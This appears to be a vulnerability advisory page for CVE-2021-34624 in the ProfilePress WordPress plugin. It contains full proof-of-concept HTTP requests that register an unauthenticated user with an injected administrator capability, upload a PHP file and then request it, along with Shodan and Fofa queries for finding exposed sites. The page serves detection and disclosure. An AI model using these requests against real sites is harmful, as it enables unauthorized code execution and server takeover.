| Title | WordPress ProfilePress 3.0-3.1.3 - Arbitrary File Upload |
|---|---|
| Author | Sourabh-Sahu |
| Severity | Critical |
| Impact | Unauthenticated attackers can upload arbitrary files including PHP files during registration, achieving remote code execution and complete server compromise. |
| Remediation | Update to ProfilePress version 3.1.4 or later |
| CVSS Score | 9.8 |
| EPSS Score | 0.64957 |
| CVE ID | CVE-2021-34624 |
| CWE ID | CWE-434 |
| Shodan Query | http.component:"profilepress" |
| Fofa Query | body="/wp-content/plugins/wp-user-avatar/" |
| Tags | cve cve2021 wordpress wp-plugin wp wpscan wp-user-avatar profilepress rce file-upload unauth intrusive vkev vuln |
A vulnerability in the file uploader component found in the ~/src/Classes/FileUploader.php file of the ProfilePress WordPress plugin made it possible for users to upload arbitrary files during user registration or during profile updates. This issue affects versions 3.0.0 - 3.1.3.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Connection: close
Content-Length: 1086
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Accept-Encoding: gzip
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="action"
pp_ajax_signup
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="reg_username"
toiNDc
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="reg_email"
lxLUSE@uSDWo.com
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="reg_password"
KYPAdef7
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="reg_password_present"
true
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="reg_first_name"
wTqRy
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="reg_last_name"
uPQ03
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="wp_capabilities[administrator]"
1
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="files"; filename="VCsnvUWm.php"
Content-Type: application/x-php
<?php echo "CVE-2021-34624"; ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--
GET /wp-content/uploads/pp-files/VCsnvUWm.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-34624.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-34624.pcap
N/AN/A